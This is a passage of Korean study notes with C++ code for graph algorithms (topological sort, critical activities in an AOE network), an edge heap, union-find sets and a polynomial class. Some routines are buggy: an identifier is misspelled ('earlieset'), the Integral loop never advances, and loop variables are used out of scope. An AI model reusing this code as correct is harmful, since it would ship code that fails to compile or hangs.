하나?<br>&nbsp;&nbsp;&nbsp; In-Degree 가 0인 지점부터 시작<br>&nbsp;&nbsp; 역위상정렬 ( Reverse Topological Sort )<br>&nbsp;&nbsp;&nbsp; Out-Degree 가 0인 지점부터 시작<br>&nbsp;&nbsp; <br>*/<br>template &lt;class V&gt;<br>void ListGraph&lt;V&gt;::TopologicalSort()<br>{<br>&nbsp;int i;<br>&nbsp;ListQueue&lt;int&gt; queue;<br>&nbsp;// indegree 배열, 설정<br>&nbsp;int *indegree = new int[m_nCount];<br>&nbsp;for (i = 0; i &lt; m_nCount; i++) indegree[i] = 0;<br>&nbsp;for (i = 0; i &lt; m_nCount; i++) <br>&nbsp;{<br>&nbsp;&nbsp;Adj adj;<br>&nbsp;&nbsp;POS pos = m_pVertices[i].list.GetHeadPos();<br>&nbsp;&nbsp;m_pVertices[i].list.GetAt(pos,adj);<br>&nbsp;&nbsp;while (!m_pVertices[i].list.IsTail(pos))<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;int k = _FindVertex(adj.vertex);<br>&nbsp;&nbsp;&nbsp;indegree[k] ++;<br>&nbsp;&nbsp;&nbsp;m_pVertices[i].list.GetNext(pos,adj);<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;for (i = 0; i &lt; m_nCount; i++)<br>&nbsp;&nbsp;if (indegree[i] == 0) queue.Put(i);<br>&nbsp;for (i = 0; i &lt; m_nCount &amp;&amp; !queue.IsEmpty(); i++) <br>&nbsp;{<br>&nbsp;&nbsp;// queue가 비면 DAG각 아니다 (순환이 있음)<br>&nbsp;&nbsp;int j = queue.Get();<br>&nbsp;&nbsp;Visit(m_pVertices[j].vertex);<br>&nbsp;&nbsp;POS pos = m_pVertices[j].list.GetHeadPos();<br>&nbsp;&nbsp;Adj adj;<br>&nbsp;&nbsp;m_pVertices[j].list.GetAt(pos,adj);<br>&nbsp;&nbsp;while ( !m_pVertices[j].list.IsTail(pos))<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;int k = _FindVertex(adj.vertex);<br>&nbsp;&nbsp;&nbsp;indegree[k]--;<br>&nbsp;&nbsp;&nbsp;if (indegree[k] == 0) queue.Put(k);<br>&nbsp;&nbsp;&nbsp;m_pVertices[j].list.GetNext(pos,adj);<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;delete[] indegree;<br>}<br>template &lt;class V&gt;<br>void ListGraph&lt;V&gt;::RevTopologicalSort()<br>{<br>&nbsp;int i;<br>&nbsp;ListQueue&lt;int&gt; queue;<br>&nbsp;// outdegree 배열, 설정<br>&nbsp;int *outdegree = new int[m_nCount];<br>&nbsp;for (i = 0; i &lt; m_nCount; i++) outdegree[i] = 0;<br>&nbsp;for (i = 0; i &lt; m_nCount; i++) <br>&nbsp;&nbsp;outdegree[i] = m_pVertices[i].list.GetCount();<br>&nbsp;for (i = 0; i &lt; m_nCount; i++)<br>&nbsp;&nbsp;if (outdegree[i] == 0) queue.Put(i);<br>&nbsp;for (i = 0; i &lt; m_nCount &amp;&amp; !queue.IsEmpty(); i++) <br>&nbsp;{<br>&nbsp;&nbsp;// queue가 비면 DAG각 아니다 (순환이 있음)<br>&nbsp;&nbsp;int j = queue.Get();<br>&nbsp;&nbsp;Visit(m_pVertices[j].vertex);<br>&nbsp;&nbsp;for (int k = 0; k &lt; m_nCount; k++) <br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;POS pos = m_pVertices[k].list.GetHeadPos();<br>&nbsp;&nbsp;&nbsp;Adj adj;<br>&nbsp;&nbsp;&nbsp;while ( m_pVertices[k].list.GetNext(pos,adj))<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;if (adj.vertex == m_pVertices[j].vertex)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;outdegree[k]--;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (outdegree[k] == 0) queue.Put(k);<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;delete[] outdegree;<br>}</p><p>/*<br>&nbsp;AOE ( Network Acitivity On Edge Network )<br>&nbsp;간선은 공정을 의미, 정점은 공정이 완료된 상태를 의미함<br>&nbsp;공정에 가중치를 주기 위해 AOE Network를 사용함</p><p><br>&nbsp;임계작업 Critical Activity<br>&nbsp; -전체 공정의 소요비용을 결정하는 작업들<br>&nbsp;&nbsp; ex) ab, bc, ce, ef<br>&nbsp;&nbsp; <br>&nbsp;&nbsp;최단시간 Earliest Time<br>&nbsp;&nbsp;-위상순서대로 진행하면서, 최초 정점의 earliest는 0<br>&nbsp;&nbsp;-earliest(Y) = max(earlist(Xk) + &lt;Xk, Y&gt; cost <br>&nbsp;&nbsp;최장시간 Latest Time</p><p><br>*/<br>template &lt;class V&gt;<br>void ListGraph&lt;V&gt;::_CriticalActivity_forward(int *earliest)<br>{<br>&nbsp;int i;<br>&nbsp;ListQueue&lt;int&gt; queue;<br>&nbsp;// indegree 배열, 설정<br>&nbsp;int *indegree = new int[m_nCount];<br>&nbsp;for (i = 0; i &lt; m_nCount; i++)<br>&nbsp;{<br>&nbsp;&nbsp;indegree[i] = 0;<br>&nbsp;&nbsp;earliest[i] = 0;<br>&nbsp;}<br>&nbsp;for (i = 0; i &lt; m_nCount; i++) <br>&nbsp;{<br>&nbsp;&nbsp;Adj adj;<br>&nbsp;&nbsp;POS pos = m_pVertices[i].list.GetHeadPos();<br>&nbsp;&nbsp;while (m_pVertices[i].list.GetNext(pos, adj))<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;int k = _FindVertex(adj.vertex);<br>&nbsp;&nbsp;&nbsp;indegree[k] ++;<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;for (i = 0; i &lt; m_nCount; i++)<br>&nbsp;&nbsp;if (indegree[i] == 0) queue.Put(i);<br>&nbsp;for (i = 0; i &lt; m_nCount &amp;&amp; !queue.IsEmpty(); i++) <br>&nbsp;{<br>&nbsp;&nbsp;// queue가 비면 DAG각 아니다 (순환이 있음)<br>&nbsp;&nbsp;int j = queue.Get();<br>&nbsp;&nbsp;Visit(m_pVertices[j].vertex);<br>&nbsp;&nbsp;POS pos = m_pVertices[j].list.GetHeadPos();<br>&nbsp;&nbsp;Adj adj;<br>&nbsp;&nbsp;while ( m_pVertices[j].list.GetNext(pos,adj))<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;int k = _FindVertex(adj.vertex);<br>&nbsp;&nbsp;&nbsp;indegree[k]--;<br>&nbsp;&nbsp;&nbsp;if (indegree[k] == 0) queue.Put(k);<br>&nbsp;&nbsp;&nbsp;if (earlieset[k] &lt; earliest[j] + adj.weight)<br>&nbsp;&nbsp;&nbsp;&nbsp;earliest[k] = earliest[j] + adj.weight;<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;delete[] indegree;<br>}</p><p>template &lt;class V&gt;<br>void ListGraph&lt;V&gt;::_CriticalActivity_backward(int *latest, int initial)<br>{<br>&nbsp;int i;<br>&nbsp;ListQueue&lt;int&gt; queue;<br>&nbsp;// outdegree 배열, 설정<br>&nbsp;int *outdegree = new int[m_nCount];<br>&nbsp;for (i = 0; i &lt; m_nCount; i++)<br>&nbsp;{<br>&nbsp;&nbsp;outdegree[i] = 0;<br>&nbsp;&nbsp;latest[i] = initial;<br>&nbsp;}<br>&nbsp;for (i = 0; i &lt; m_nCount; i++) <br>&nbsp;&nbsp;outdegree[i] = m_pVertices[i].list.GetCount();<br>&nbsp;for (i = 0; i &lt; m_nCount; i++)<br>&nbsp;&nbsp;if (outdegree[i] == 0) queue.Put(i);<br>&nbsp;for (i = 0; i &lt; m_nCount &amp;&amp; !queue.IsEmpty(); i++) <br>&nbsp;{<br>&nbsp;&nbsp;// queue가 비면 DAG각 아니다 (순환이 있음)<br>&nbsp;&nbsp;int j = queue.Get();<br>&nbsp;&nbsp;Visit(m_pVertices[j].vertex);<br>&nbsp;&nbsp;for (int k = 0; k &lt; m_nCount; k++) <br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;POS pos = m_pVertices[k].list.GetHeadPos();<br>&nbsp;&nbsp;&nbsp;Adj adj;<br>&nbsp;&nbsp;&nbsp;while ( m_pVertices[k].list.GetNext(pos,adj))<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;if (adj.vertex == m_pVertices[j].vertex)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;outdegree[k]--;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (outdegree[k] == 0) queue.Put(k);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (latest[k] &gt; latest[j] - adj.weight)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;latest[k] = latest[j] - adj.weight;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;delete[] outdegree;<br>}<br>template &lt;class V&gt;<br>void ListGraph&lt;V&gt;::CriticalActivity()<br>{<br>&nbsp;int *earliest = new int[m_nCount];<br>&nbsp;int *latest = new int[m_nCount];</p><p>&nbsp;_CriticalActivity_forward(earliest);<br>&nbsp;int initial = 0;<br>&nbsp;for (int i = 0; i &lt; m_nCount; i++) {<br>&nbsp;&nbsp;if (initial &lt; earliest[i]) initial = earliest[i];<br>&nbsp;}<br>&nbsp;_CriticalActivity_backward(latest, initial);</p><p>&nbsp;for (i = 0; i&lt; m_nCount; i++)<br>&nbsp;{<br>&nbsp;&nbsp;POS pos = m_pVertices[i].list.GetHeadPos();<br>&nbsp;&nbsp;Adj adj;<br>&nbsp;&nbsp;while (m_pVertices[i].list.GetNext(pos,adj))<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;int e = earliest[i];<br>&nbsp;&nbsp;&nbsp;int l = latest[_FindVertex(adj.vertex)] - adj.weight;<br>&nbsp;&nbsp;&nbsp;if (l - e == 0)<br>&nbsp;&nbsp;&nbsp;&nbsp;VisitEdge(m_pVertices[i].vertex, adj.vertex);<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;delete[] earliest;<br>&nbsp;delete[] latest;<br>}<br>/*<br>&nbsp;결론<br>&nbsp;방향 그래프는<br>&nbsp; -단방향간선으로 이루어진 그래프<br>&nbsp; -Cycle이 없는 경우 DAG라고 함<br>&nbsp; -방향 그래프이면서 가중그래프인 경우 Network<br>&nbsp;방향 그래프 문제<br>&nbsp; -Reachability, Transitive Closure<br>&nbsp; -Strongly Connected Components<br>&nbsp; -Topological Sort / Reverse Topological Sort<br>&nbsp; -AOE Network and Critical Activity</p><p>*/</p><p>class LCharGraph : public ListGraph&lt;char&gt;<br>{<br>public:<br>&nbsp;LCharGraph(int nSize=100) : ListGraph&lt;char&gt;(nSize){}<br>&nbsp;void Visit(const char&amp; v) { printf("%c",v);}<br>&nbsp;void VisitEdge(const char&amp; v1,const char&amp; v2) { printf("%c--&gt;%c\n",v1,v2); }<br>};</p><p><br>template &lt;class V&gt; class EdgeHeap<br>{<br>public:<br>&nbsp;struct Pair {<br>&nbsp;&nbsp;V v1; <br>&nbsp;&nbsp;V v2;<br>&nbsp;&nbsp;EDGE w;<br>&nbsp;&nbsp;Pair(const V&amp; vv1, const V&amp; vv2, EDGE ww) {<br>&nbsp;&nbsp;&nbsp;v1 = vv1; v2 = vv2; w = ww;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;Pair() { w = 0; }<br>&nbsp;};<br>public:<br>&nbsp;EdgeHeap(int nSize = 100) {<br>&nbsp;&nbsp;m_pArray = new Pair[nSize];<br>&nbsp;&nbsp;m_nArrayLen = nSize;<br>&nbsp;&nbsp;m_nHeapLen = 0;<br>&nbsp;}<br>&nbsp;~EdgeHeap() { delete[] m_pArray; }<br>&nbsp;Pair&amp; a(int k) { return m_pArray[k-1]; }<br>&nbsp;bool IsEmpty() { return m_nHeapLen == 0; }<br>&nbsp;void UpHeap(int k);<br>&nbsp;void DownHeap(int k);<br>&nbsp;bool Insert(const V&amp; p, const V&amp; v, EDGE w);<br>&nbsp;Pair Extract() ;<br>&nbsp;bool Update(const V&amp; p, const V&amp; v, EDGE w);<br>private:<br>&nbsp;Pair *m_pArray;<br>&nbsp;int m_nArrayLen;<br>&nbsp;int m_nHeapLen;</p><p>};<br>template &lt;class V&gt;<br>void EdgeHeap&lt;V&gt;::UpHeap(int k)<br>{<br>&nbsp;Pair p = a(k);<br>&nbsp;while (p.w &gt; a(k/2).w &amp;&amp; k &gt; 1) {<br>&nbsp;&nbsp;a(k) = a(k/2) ; k /= 2;<br>&nbsp;}<br>&nbsp;a(k) = p;<br>}</p><p>template &lt;class V&gt;<br>void EdgeHeap&lt;V&gt;::DownHeap(int k)<br>{<br>&nbsp;int i; Pair p;<br>&nbsp;p = a(k);<br>&nbsp;while (k &lt;= m_nHeapLen/2) {<br>&nbsp;&nbsp;i = k * 2;<br>&nbsp;&nbsp;if(i &lt; m_nHeapLen &amp;&amp; a(i+1).w &gt; a(i).w) i++;<br>&nbsp;&nbsp;if(p.w &gt; a(i).w || p.w == a(i).w)break;<br>&nbsp;&nbsp;a(k) = a(i); <br>&nbsp;&nbsp;k = i;<br>&nbsp;}<br>&nbsp;a(k) = p;<br>}<br>template &lt;class V&gt;<br>bool EdgeHeap&lt;V&gt;::Insert(const V&amp; p, const V&amp; v, EDGE w)<br>{<br>&nbsp;if(m_nHeapLen &gt;= m_nArrayLen - 1) return false;<br>&nbsp;a(++m_nHeapLen) = Pair(p, v, w);<br>&nbsp;UpHeap(m_nHeapLen);<br>&nbsp;return true;<br>}<br>template &lt;class V&gt;<br>bool EdgeHeap&lt;V&gt;::Update(const V&amp; p, const V&amp; v, EDGE w)<br>{<br>&nbsp;//vertex 찾기<br>&nbsp;for( int i = 0; i &lt; m_nHeapLen; i++) {<br>&nbsp;&nbsp;if(m_pArray[i].v2 == v &amp;&amp; m_pArray[i].w &lt; w) {<br>&nbsp;&nbsp;&nbsp;m_pArray[i].w = w;<br>&nbsp;&nbsp;&nbsp;m_pArray[i].v1 = p;<br>&nbsp;&nbsp;&nbsp;for(int k = m_nHeapLen/2; k &gt;= 1; k--)<br>&nbsp;&nbsp;&nbsp;&nbsp;DownHeap(k);<br>&nbsp;&nbsp;&nbsp;return true;<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;return false;<br>}<br>template &lt;class V&gt;<br>EdgeHeap&lt;V&gt;::Pair EdgeHeap&lt;V&gt;::Extract()<br>{<br>&nbsp;Pair p;<br>&nbsp;p = a(1);<br>&nbsp;a(1) = a(m_nHeapLen--);<br>&nbsp;DownHeap(1);<br>&nbsp;return p;<br>}</p><p><br>/*<br>&nbsp;집합 연산 Union-Find</p><p>&nbsp;Find 문제<br>&nbsp; 어떤 원소가 어떤 집합에 포함되는지 아닌지를 판별<br>&nbsp;Union 문제<br>&nbsp; 서로 다른 두개의 집합을 하나의 집합으로 합병</p><p>&nbsp;&nbsp;&nbsp; 상향식 트리구조로 구현하는 것이 가장 효율적</p><p>*/<br>template &lt;class T&gt; class Set<br>{<br>public:<br>&nbsp;struct Item {<br>&nbsp;&nbsp;T elem;<br>&nbsp;&nbsp;int parent;&nbsp;&nbsp;// parent index<br>&nbsp;&nbsp;int height;<br>&nbsp;};<br>public:<br>&nbsp;Set(int nSize = 100) {<br>&nbsp;&nbsp;m_pArray = new Item[nSize];<br>&nbsp;&nbsp;m_nArrayLen = nSize;<br>&nbsp;&nbsp;m_nCount = 0;<br>&nbsp;}<br>&nbsp;~Set() { delete[] m_pArray; }<br>&nbsp;T&amp; GetItem(int index) const { return m_pArray[index].elem; }<br>&nbsp;int GetParent(int index) const { return m_pArray[index].parent; }<br>&nbsp;int&nbsp;&nbsp; GetIndex(const T&amp; t) const {<br>&nbsp;&nbsp;for (int i = 0; i &lt; m_nCount; i++)<br>&nbsp;&nbsp;&nbsp;if (m_pArray[i].elem == t) return i;<br>&nbsp;&nbsp;return -1;<br>&nbsp;}<br>&nbsp;int AddSet(const T&amp; t);<br>&nbsp;int Find(const T&amp; t);<br>&nbsp;void Union(const T&amp; t1, const T&amp; t2);<br>&nbsp;void UnionByIndex(int i1, int i2);<br>private:<br>&nbsp;Item *m_pArray;<br>&nbsp;int m_nArrayLen;<br>&nbsp;int m_nCount;<br>};<br>template &lt;class T&gt;<br>int Set&lt;T&gt;::AddSet(const T&amp; t) <br>{<br>&nbsp;if (m_nCount &gt;= m_nArrayLen) return false;<br>&nbsp;m_pArray[m_nCount].elem = t;<br>&nbsp;m_pArray[m_nCount].parent = -1;<br>&nbsp;m_pArray[m_nCount].height = 1;<br>&nbsp;return m_nCount++;<br>}<br>template &lt;class T&gt;<br>int Set&lt;T&gt;::Find(const T&amp; t)<br>{<br>&nbsp;for (int i = 0; i &lt; m_nCount &amp;&amp; m_pArray[i].elem != t; i++);<br>&nbsp;if(i &gt;= m_nCount) return -1;<br>&nbsp;while (m_pArray[i].parent &gt;= 0) i = m_pArray[i].parent;<br>&nbsp;return i;<br>}<br>template &lt;class T&gt;<br>void Set&lt;T&gt;::Union(const T&amp; t1, const T&amp; t2) <br>{<br>&nbsp;int i1 = Find(t1); <br>&nbsp;int i2 = Find(t2);<br>&nbsp;if(i1 &lt; 0 || i2 &lt; 0) return;<br>&nbsp;UnionByIndex(i1,i2);<br>}<br>template &lt;class T&gt;<br>void Set&lt;T&gt;::UnionByIndex(int i1, int i2) <br>{<br>&nbsp;if(m_pArray[i1].height &gt; m_pArray[i2].height)<br>&nbsp;{<br>&nbsp;&nbsp;m_pArray[i2].parent = i1;<br>&nbsp;} else if (m_pArray[i1].height &lt; m_pArray[i2].height) {<br>&nbsp;&nbsp;m_pArray[i1].parent = i2;<br>&nbsp;} else { // 두개의 높이가 같은 경우<br>&nbsp;&nbsp;m_pArray[i2].parent = i1;<br>&nbsp;&nbsp;m_pArray[i1].height++;<br>&nbsp;}<br>}<br>&nbsp;&nbsp; <br>/*<br>&nbsp;방향그래프</p><p>&nbsp;도달가능성 Reachability</p><p>*/</p><p><br>/*<br>&nbsp;수치해석 Numerical Analysis<br>&nbsp;다항식 Polynomial<br>&nbsp;-컴퓨터의 연산기능을 이용, 해석적으로 문제 풀이<br>&nbsp;다항식 모델링<br>&nbsp;-다항식 클래스 Polynomial<br>&nbsp;-다항식 사칙연산, 미적분<br>&nbsp;-다항식의 계산<br>&nbsp;Lagrange Interpolation<br>&nbsp;-N+1개의 점을 지나는 N차 다항식 구하기</p><p>&nbsp;컴퓨터와 수학<br>&nbsp;CPU Central Process Unit</p><p>&nbsp;정수타입<br>&nbsp;int long char<br>&nbsp;C++ 의 실수타입<br>&nbsp;float <br>&nbsp; -4byte<br>&nbsp;1비트의 부호, 8비트의 지수부, 23비트의 가수부<br>&nbsp;약 3.4E + 38까지 표현가능<br>&nbsp;double<br>&nbsp; -8Byte<br>&nbsp;1비트의 부호, 11비트의 지수부, 52비트의 가수부<br>&nbsp;SIGN | EXPONENT | MANTISSA<br>&nbsp;약 1.8E + 308까지 표현가능<br>&nbsp;<br>&nbsp;&nbsp; 회귀분석<br>&nbsp;&nbsp;&nbsp; 입력자료를 통해 방정식 유추<br>&nbsp;&nbsp; 스플라인<br>&nbsp;&nbsp; -Bezier, Hermite, B Spline<br>&nbsp;&nbsp;&nbsp; 선을 부드럽게 그리는 방법<br>*/<br>/*<br>&nbsp;다항식<br>&nbsp; -항(Term) : 계수와 지수로 구성됨<br>&nbsp;&nbsp; *ex) </p><p>*/<br>class Polynomial<br>{<br>public:<br>&nbsp;struct Term {<br>&nbsp;&nbsp;int exp;&nbsp;//지수<br>&nbsp;&nbsp;double coef; //계수<br>&nbsp;};<br>&nbsp;Polynomial() {}<br>&nbsp;Polynomial(const Polynomial&amp; p) { m_list = p.m_list; }<br>&nbsp;const Polynomial&amp; operator=(const Polynomial&amp; p) {<br>&nbsp;&nbsp;m_list = p.m_list;<br>&nbsp;&nbsp;return * this;<br>&nbsp;}</p><p>&nbsp;void InsertTerm(int exp, double coef);<br>&nbsp;void AddTerm(int exp, double coef);</p><p>&nbsp;void Print();<br>&nbsp;Polynomial operator+(const Polynomial&amp; p);<br>&nbsp;Polynomial operator-(const Polynomial&amp; p);<br>&nbsp;Polynomial operator*(const Polynomial&amp; p);</p><p>&nbsp;void Differential();<br>&nbsp;void Integral();<br>&nbsp;double Evaluate(double x);<br>&nbsp;void Lagrange(double pt[][2], int n);<br>protected:<br>&nbsp;DoubleList&lt;Term&gt; m_list;<br>};<br>void Polynomial::AddTerm(int exp, double coef)<br>{<br>&nbsp;Term term,t;<br>&nbsp;term.exp = exp; <br>&nbsp;term.coef = coef;</p><p>&nbsp;POS pos = m_list.GetHeadPos();</p><p>&nbsp;while (!m_list.IsTail(pos))<br>&nbsp;{<br>&nbsp;&nbsp;if (!m_list.GetAt(pos,t)) break;<br>&nbsp;&nbsp;if(t.exp == term.exp) <br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;t.coef += coef;<br>&nbsp;&nbsp;&nbsp;if (t.coef == 0.0)<br>&nbsp;&nbsp;&nbsp;&nbsp;m_list.DeleteAt(pos);<br>&nbsp;&nbsp;&nbsp;return;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;if(t.exp &lt; term.exp) {<br>&nbsp;&nbsp;&nbsp;m_list.InsertPrev(pos,term);<br>&nbsp;&nbsp;&nbsp;return;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;m_list.GetNext(pos,t);<br>&nbsp;}<br>&nbsp;m_list.AddTail(term);<br>}<br>void Polynomial::InsertTerm(int exp, double coef)<br>{<br>&nbsp;if (coef == 0.0) return;<br>&nbsp;Term term,t;<br>&nbsp;term.exp = exp; term.coef = coef;<br>&nbsp;POS pos = m_list.GetHeadPos();<br>&nbsp;while ( !m_list.IsTail(pos))<br>&nbsp;{<br>&nbsp;&nbsp;if(!m_list.GetAt(pos,t)) break;<br>&nbsp;<br>&nbsp;&nbsp;if (t.exp == term.exp) {<br>&nbsp;&nbsp;&nbsp;t.coef = coef;<br>&nbsp;&nbsp;&nbsp;return;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;if (t.exp &lt; term.exp) {<br>&nbsp;&nbsp;&nbsp;m_list.InsertPrev(pos,term);<br>&nbsp;&nbsp;&nbsp;return;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;m_list.GetNext(pos,t);<br>&nbsp;}<br>&nbsp;m_list.AddTail(term);<br>}<br>void Polynomial::Print()<br>{<br>&nbsp;POS pos = m_list.GetHeadPos();<br>&nbsp;Term t;<br>&nbsp;while (!m_list.IsTail(pos))<br>&nbsp;{<br>&nbsp;&nbsp;m_list.GetAt(pos,t);<br>&nbsp;&nbsp;printf("%dX^%d ",(int)t.coef,(int)t.exp);<br>&nbsp;&nbsp;m_list.GetNext(pos,t);<br>&nbsp;}<br>}<br>Polynomial Polynomial::operator+(const Polynomial&amp; p)<br>{<br>&nbsp;Polynomial r;<br>&nbsp;POS pos1 = m_list.GetHeadPos();<br>&nbsp;POS pos2 = p.m_list.GetHeadPos();<br>&nbsp;Term t1, t2;</p><p>&nbsp;while (!m_list.IsTail(pos1) &amp;&amp; !p.m_list.IsTail(pos2))<br>&nbsp;{<br>&nbsp;&nbsp;m_list.GetAt(pos1,t1);<br>&nbsp;&nbsp;p.m_list.GetAt(pos2,t2);</p><p>&nbsp;&nbsp;if (t1.exp &gt; t2.exp) {<br>&nbsp;&nbsp;&nbsp;r.m_list.AddTail(t1);<br>&nbsp;&nbsp;&nbsp;m_list.GetNext(pos1,t1);<br>&nbsp;&nbsp;} else if (t1.exp &lt; t2.exp) {<br>&nbsp;&nbsp;&nbsp;r.m_list.AddTail(t2);<br>&nbsp;&nbsp;&nbsp;p.m_list.GetNext(pos2,t2);<br>&nbsp;&nbsp;} else {<br>&nbsp;&nbsp;&nbsp;if(t1.coef + t2.coef != 0.0) {<br>&nbsp;&nbsp;&nbsp;&nbsp;t1.coef += t2.coef;<br>&nbsp;&nbsp;&nbsp;&nbsp;r.m_list.AddTail(t1);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;m_list.GetNext(pos1,t1);<br>&nbsp;&nbsp;&nbsp;p.m_list.GetNext(pos2,t2);<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;m_list.GetAt(pos1,t1);<br>&nbsp;while (!m_list.IsTail(pos1)) {<br>&nbsp;&nbsp;r.m_list.AddTail(t1);<br>&nbsp;&nbsp;m_list.GetNext(pos1,t1);<br>&nbsp;}<br>&nbsp;p.m_list.GetAt(pos2,t2);<br>&nbsp;while (!p.m_list.IsTail(pos2)) {<br>&nbsp;&nbsp;r.m_list.AddTail(t2);<br>&nbsp;&nbsp;p.m_list.GetNext(pos2,t2);<br>&nbsp;}<br>&nbsp;return r;<br>&nbsp;<br>}<br>Polynomial Polynomial::operator-(const Polynomial&amp; p)<br>{<br>&nbsp;Polynomial r;<br>&nbsp;POS pos1 = m_list.GetHeadPos();<br>&nbsp;POS pos2 = p.m_list.GetHeadPos();<br>&nbsp;Term t1, t2;</p><p>&nbsp;while (!m_list.IsTail(pos1) &amp;&amp; !p.m_list.IsTail(pos2))<br>&nbsp;{<br>&nbsp;&nbsp;m_list.GetAt(pos1,t1);<br>&nbsp;&nbsp;p.m_list.GetAt(pos2,t2);</p><p>&nbsp;&nbsp;if (t1.exp &gt; t2.exp) {<br>&nbsp;&nbsp;&nbsp;r.m_list.AddTail(t1);<br>&nbsp;&nbsp;&nbsp;m_list.GetNext(pos1,t1);<br>&nbsp;&nbsp;} else if (t1.exp &lt; t2.exp) {<br>&nbsp;&nbsp;&nbsp;r.m_list.AddTail(t2);<br>&nbsp;&nbsp;&nbsp;p.m_list.GetNext(pos2,t2);<br>&nbsp;&nbsp;} else {<br>&nbsp;&nbsp;&nbsp;if(t1.coef - t2.coef != 0.0) {<br>&nbsp;&nbsp;&nbsp;&nbsp;t1.coef -= t2.coef;<br>&nbsp;&nbsp;&nbsp;&nbsp;r.m_list.AddTail(t1);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;m_list.GetNext(pos1,t1);<br>&nbsp;&nbsp;&nbsp;p.m_list.GetNext(pos2,t2);<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;m_list.GetAt(pos1,t1);<br>&nbsp;while (!m_list.IsTail(pos1)) {<br>&nbsp;&nbsp;r.m_list.AddTail(t1);<br>&nbsp;&nbsp;m_list.GetNext(pos1,t1);<br>&nbsp;}<br>&nbsp;p.m_list.GetAt(pos2,t2);<br>&nbsp;while (!p.m_list.IsTail(pos2)) {<br>&nbsp;&nbsp;r.m_list.AddTail(t2);<br>&nbsp;&nbsp;p.m_list.GetNext(pos2,t2);<br>&nbsp;}<br>&nbsp;return r;<br>}</p><p>Polynomial Polynomial::operator*(const Polynomial&amp; p)<br>{<br>&nbsp;Polynomial r;<br>&nbsp;POS pos1 = m_list.GetHeadPos();<br>&nbsp;Term t1, t2;</p><p>&nbsp;while (!m_list.IsTail(pos1))<br>&nbsp;{<br>&nbsp;&nbsp;m_list.GetAt(pos1,t1);<br>&nbsp;&nbsp;POS pos2 = p.m_list.GetHeadPos();<br>&nbsp;&nbsp;p.m_list.GetAt(pos2,t2);<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;while (!p.m_list.IsTail(pos2)) {<br>&nbsp;&nbsp;&nbsp;p.m_list.GetAt(pos2,t2);<br>&nbsp;&nbsp;&nbsp;r.AddTerm(t1.exp + t2.exp, t1.coef * t2.coef);<br>&nbsp;&nbsp;&nbsp;p.m_list.GetNext(pos2,t2);<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;m_list.GetNext(pos1,t1);</p><p>&nbsp;}<br>&nbsp;return r;</p><p>}<br>//미분<br>void Polynomial::Differential()<br>{<br>&nbsp;Polynomial r;<br>&nbsp;POS pos = m_list.GetHeadPos();<br>&nbsp;Term t;<br>&nbsp;while (!m_list.IsTail(pos))<br>&nbsp;{<br>&nbsp;&nbsp; m_list.GetAt(pos,t);<br>&nbsp;&nbsp; if(t.exp &gt; 0)<br>&nbsp;&nbsp;&nbsp; r.InsertTerm(t.exp -1, t.coef*t.exp);<br>&nbsp;&nbsp; m_list.GetNext(pos,t);<br>&nbsp;}<br>&nbsp;*this = r;<br>}<br>//적분<br>void Polynomial::Integral()<br>{<br>&nbsp;Polynomial r;<br>&nbsp;POS pos = m_list.GetHeadPos();<br>&nbsp;Term t;<br>&nbsp;while (!m_list.IsTail(pos))<br>&nbsp;{<br>&nbsp;&nbsp;m_list.GetAt(pos,t);<br>&nbsp;&nbsp;r.InsertTerm(t.exp + 1, t.coef / (t.exp +1));<br>&nbsp;}<br>&nbsp;*this = r;<br>}<br>/*<br>&nbsp;거듭제곱함수만들기<br>*/<br>double power_simple(double x, int n)<br>{<br>&nbsp;double r = 1.0;<br>&nbsp;while (n--) r*= x;<br>&nbsp;return r;<br>}<br>double power_recur(double x, int n)<br>{<br>&nbsp;if(n == 0) return 1.0;<br>&nbsp;return x* power_recur(x,n-1);<br>}<br>/*<br>&nbsp;Divde and Conquer<br>&nbsp;-곱셈의 수를 획기적으로 줄임<br>&nbsp;<br>*/<br>double power_dnq(double x, int n)<br>{<br>&nbsp;if (n == 0) return 1.0;<br>&nbsp;if (n == 1) return x;<br>&nbsp;double half = 